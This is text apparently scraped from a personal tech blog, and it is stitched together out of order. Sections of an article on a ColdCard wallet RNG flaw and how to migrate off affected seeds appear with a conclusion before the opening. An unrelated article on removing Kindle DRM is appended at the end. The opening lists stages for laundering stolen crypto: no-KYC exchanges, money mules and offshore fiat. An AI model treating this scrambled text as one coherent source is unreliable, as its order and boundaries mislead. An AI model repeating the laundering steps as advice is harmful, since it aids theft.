4. Weak-KYC or no-KYC exchanges. Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.
5. Offshore fiat. The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.

None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.

Why this matters now

The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.

But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being “where is the money?” and becomes “who can we arrest?”. Recovering the asset becomes technically infeasible for most victims.

In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.

Conclusion

If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.

The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.

The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer’s TRNG, an offline host). And test recovery before sending meaningful value.

Do not trust a company, certification, influencer, or article. Not even this one. Verify.

I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address received 594.47723261 BTC across 501 outputs. That is public blockchain data, not a Telegram screenshot. Issue 416 of Bitcoin Optech, published while the case was still unfolding, already estimated losses above 1,000 BTC.

The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite’s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.

Do not panic and type your 24 words into the first website that promises to “check your ColdCard” either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.

Who needs to act now

The vulnerability is in seed generation. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.

In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution. The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.

According to Coinkite’s advisory and Block’s independent analysis, treat as compromised any seed generated under these conditions:

Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.

There is one important exception: anyone who added at least 50 fair, independent, and private die rolls during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from this bug alone. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.

A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.

Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger. The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.

I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.

The bug: #ifndef does not mean “if true”

Coinkite’s technical postmortem is an embarrassing read.

In March 2021, the firmware replaced ckcc.rng_bytes() with ngu.random.bytes() during its migration to libNgU and the libsecp256k1 used by Bitcoin Core. The library choice was good. The integration was disastrous.

The build code defined:

#define MICROPY_HW_ENABLE_RNG (0)

But the guard in libNgU checked this:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, rng_get() pointed to MicroPython’s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.

Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between “create new wallet” and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.

On the Mk3, Coinkite’s preliminary estimate is around 40 bits of effective entropy, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately 72 bits. Block’s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.

Passing bad output through SHA-256 does not create entropy. If only 2^40 inputs exist, at most 2^40 possible hashes exist. They look nice and uniform and remain enumerable.

This sat on the most important path in the product for more than five years.

How a 120-file rewrite got us here

Zach Herbert published a timeline worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.

In July 2020, Foundation announced that its first Passport would build on ColdCard’s GPLv3 firmware. Two days later, NVK publicly complained about the “clone” and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.

On March 1 came the First pass w/ libNgU commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.

There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting libsecp256k1, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.

That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.

This was a white swan, not a black swan

I have already seen people call this a “black swan,” as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.

The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect #ifndef was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.

A black swan is rare, surprising, and only looks obvious afterward. This was a white swan: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.

And Coinkite helped reduce the number of people willing to defuse it.

In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk responsibly disclosed a critical multisig flaw. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun’s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.

The current responsible disclosure policy still leaves reward amount, eligibility, and timing to the company’s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in “we are not here to make it easy for you,” as if antagonizing people who audit your vault demonstrated personality.

Zach Herbert also documented NVK’s public attacks on Foundation after it used ColdCard’s GPL code: “pure clone,” “leeches,” and “affinity scamming.” Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.

I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.

So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life’s savings.

No, “AI broke Bitcoin” my ass

Coinkite wrote that, because the firmware was public, “we have to assume” someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.

NVK later published an apology on Coinkite’s behalf. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users’ trust. That is the bare minimum, but it matters that he said it.

The problem is that he ended by trying to turn the disaster into “a sober reality of the new AI paradigm,” arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.

Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that #ifndef, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.

After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, secp256k1, SHA-256, BIP39, or Bitcoin.

The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.

AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.

What a wallet actually stores

Bitcoin does not sit “inside” a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.

At the most basic level, a private key is an integer chosen within the domain of the secp256k1 curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.

I explained this foundation more carefully in [Akitando #67] Understanding Basic Cryptography Concepts - Part 1 and [Akitando #68] Understanding Basic Cryptography Concepts - Part 2.

A modern wallet does not draw an independent key for each address. It starts with a root and uses BIP32 to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.

BIP39 is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.

Twelve or 24 words is the wrong question

A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.

But “24 words” does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.

That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called rand() with a timestamp.

RNG, TRNG, and independent sources

RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.

A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. Ledger explains its process as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.

Other projects prefer to combine sources. Trezor uses entropy from the device and host. BitBox02 documents five sources: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.

The word that matters here is independence. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.

And “combined correctly” carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.

Rolling dice is not that simple

Each roll of an ideal D6 provides log2(6), about 2.585 bits. That is where the figures of 50 rolls for 128 bits and 99 rolls for approximately 256 bits come from. ColdCard’s documentation shows the calculation and the SHA-256 applied to the sequence. SeedSigner uses the same thresholds: 50 for 12 words or 99 for 24.

That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people “roll again” when the die lands near an edge. Every human decision made after seeing the result introduces bias.

If I were generating a seed manually today, I would use precision casino-grade dice from more than one manufacturer or batch. BitBox itself recommends five casino-grade dice for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it “didn’t mix properly.”

Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the “most random” words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.

Check what your device actually implements. In Ledger’s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, the words must reconstruct exactly the same keys. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.

With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer’s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: move, don’t merge.

BTC D00M Guy has a visual Portuguese-language tutorial on BIP39, dice, and recovery testing. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.

The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. SeedSigner’s documentation recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.

More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.

Passphrase: another wallet, not another password

In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string mnemonic concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display “incorrect password”; it opens another, usually empty wallet.

A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.

But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39’s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.

Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.

In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.

Sparrow, air gaps, and PSBT

Sparrow is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.

This is where PSBT, standardized in BIP174, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.

The air-gapped single-sig flow looks like this:

1. Sparrow creates the transaction on the online computer.
2. You export the PSBT through QR code or microSD.
3. ColdCard, SeedSigner, or another device displays the destination, amount, and fee.
4. You verify them on the signer’s screen and sign.
5. Sparrow imports the signed PSBT, finalizes it, and broadcasts it.

An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer’s screen exists so you can compare the address, amount, and fee before pressing Confirm.

And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.

2-of-3 multisig: safer and much more bureaucratic

Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, 2-of-3 multisig with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.

You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.

“Independent” is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.

In Sparrow, the conceptual procedure is:

1. Create and back up each seed separately.
2. Export the fingerprint, derivation path, and xpub from each signer.
3. Create a Multi Signature wallet, normally Native SegWit, with a 2-of-3 policy.
4. Import all three keystores and back up the wallet’s output descriptor.
5. Record which signers correspond to which fingerprints.
6. Verify one receiving address on more than one signer.
7. Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.

The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.

When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.

None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.

Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.

I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.

Sparrow’s best practices guide recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.

If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot “replace one key” while keeping the same addresses; the policy changed, so the scripts change too.

Fulcrum fixes privacy, not a weak key

Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.

I showed the architecture and installation in Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.

Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.

How I would migrate today

Do not turn one emergency into a second accident. I would follow this order:

1. Take inventory. List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.
2. Treat the seed as compromised. Do not enter it into online software or accept any third-party “checker.” Keep signing on the device only for as long as it takes to leave.
3. Choose the new architecture. I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.
4. Generate new entropy. Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.
5. Back up before receiving. Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.
6. Test recovery. Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.
7. Verify the address on the screen. Do not trust only what Sparrow displays on the computer monitor.
8. Send a small amount. Confirm that the new wallet can receive and spend. Coinkite also recommends this test.
9. Move the rest immediately afterward. Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.
10. Keep the old backup marked as compromised. Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.

If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key’s reach. You can reorganize UTXOs and improve the architecture later, with time to think.

So which hardware wallet do I recommend?

Today, none.

After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is very hard. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.

That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.

Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company’s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.

For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, “buy this and sleep well.” You will have to do your homework.

NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer’s official store. Do not save on shipping by placing your life savings in a device that passed through a stranger’s hands. Marketplace listings, auctions, eBay, “open box,” refurbished hardware, and that unbelievable deal from a friend are all out of the question.

When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. ColdCard uses serialized packaging that shows evidence of opening: the number appears on the bag, an internal tab, and the device itself. Trezor documents the holographic seals for each model. BitBox combines sealed packaging with cryptographic attestation performed by its app.

Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not “see whether it works,” and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.

And watch the terminology: all of this is tamper-evident, not tamper-proof. ColdCard’s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.

I would start with these questions:

1. What is the published threat model? The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. “Military-grade security” is not a threat model.
2. Where does the entropy come from, exactly? Find the sources, how they are combined, and which end-to-end tests prove the New Wallet flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.
3. Is the code actually free, and does the binary correspond to it? “Source available” under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A reproducible build lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on WalletScrutiny, not just the manufacturer’s promise.
4. How does the company treat people who find flaws? Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly “perfect” history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.
5. What can you verify on the trusted screen? Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.
6. Is there an exit route without the manufacturer? I want interoperable standards: BIP39/BIP32 where applicable, PSBT, and output descriptors. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company’s app are lock-in built on top of the key to your life.
7. How do the hardware, firmware, and supply chain work? A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.
8. Can you recover without improvising? Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.

I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside vulnerability, reproducible build, seed entropy, multisig, and responsible disclosure. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.

For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as Sparrow’s guide recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.

In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.

The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.

Conclusion

Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.

I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.

This may become one of the worst episodes in the history of Bitcoin self-custody. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.

In the worst cases, the RNG reduced the universe to something around 2^40. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.

There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the New Wallet button called the correct RNG.

It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.

The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer’s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.

I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.

Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.

You pay for a book, but you can only read it where Amazon allows. There is no decent native Linux app. Moving to another reader turns into an exercise in archaeology. I bought a new Xteink X4 and, naturally, my library couldn’t simply come along. The file was “in my account,” but it wasn’t under my control.

For years, I worked around this through the official route. I’d sign into Amazon’s website, use Download & Transfer via USB, download the .azw files for books I’d bought, and import everything into calibre. With the DeDRM plugin configured for my Kindle’s serial number, I’d convert them to EPUB and be done with it.

On February 26, 2025, Amazon shut that option down. No decent announcement, no replacement that actually handed over the file, and no concern for anyone who wanted a local backup. My newer books have been trapped in their ecosystem ever since. I tried again last year, updated the plugin, copied files from my Kindle Paperwhite, entered the correct serial number, and got nowhere.

To be fair, on January 20, 2026, Amazon began allowing verified buyers to download EPUB or PDF files when the publisher marks the book as DRM-free. Great. That doesn’t help with protected books, and the decision still belongs to the publisher. Older DRM-free titles must also be confirmed one by one by the publisher. This did not magically add a download button to my library.

I decided to try again now. The new DeDRM version can handle the current DRM, but the process has changed quite a bit. It takes work, requires Windows for one step, and relies on a community tool still in pre-release. It worked. I recovered 106 books I’d bought, tested the EPUB conversion, and can now read them on whatever device I choose.

This is the state of play on July 30, 2026 (updated August 19). Amazon could change the encryption or the app tomorrow. Ignore old tutorials telling you to install Kindle for PC 1.17, disable updates, and enter the device serial number in Calibre. That world is gone.

And let’s get the obvious out of the way: I’m talking about books I bought. I’m not talking about downloading Kindle Unlimited titles, library loans, or somebody else’s books. Laws covering DRM circumvention vary by country. Check the law where you live and take responsibility for what you do.

First things first: don’t throw out an old Kindle

Amazon doesn’t make it easy to repurpose an old Kindle either. The hardware remains perfectly good, the battery is usually replaceable, and an e-ink screen lasts forever, yet the software becomes increasingly closed and limited.

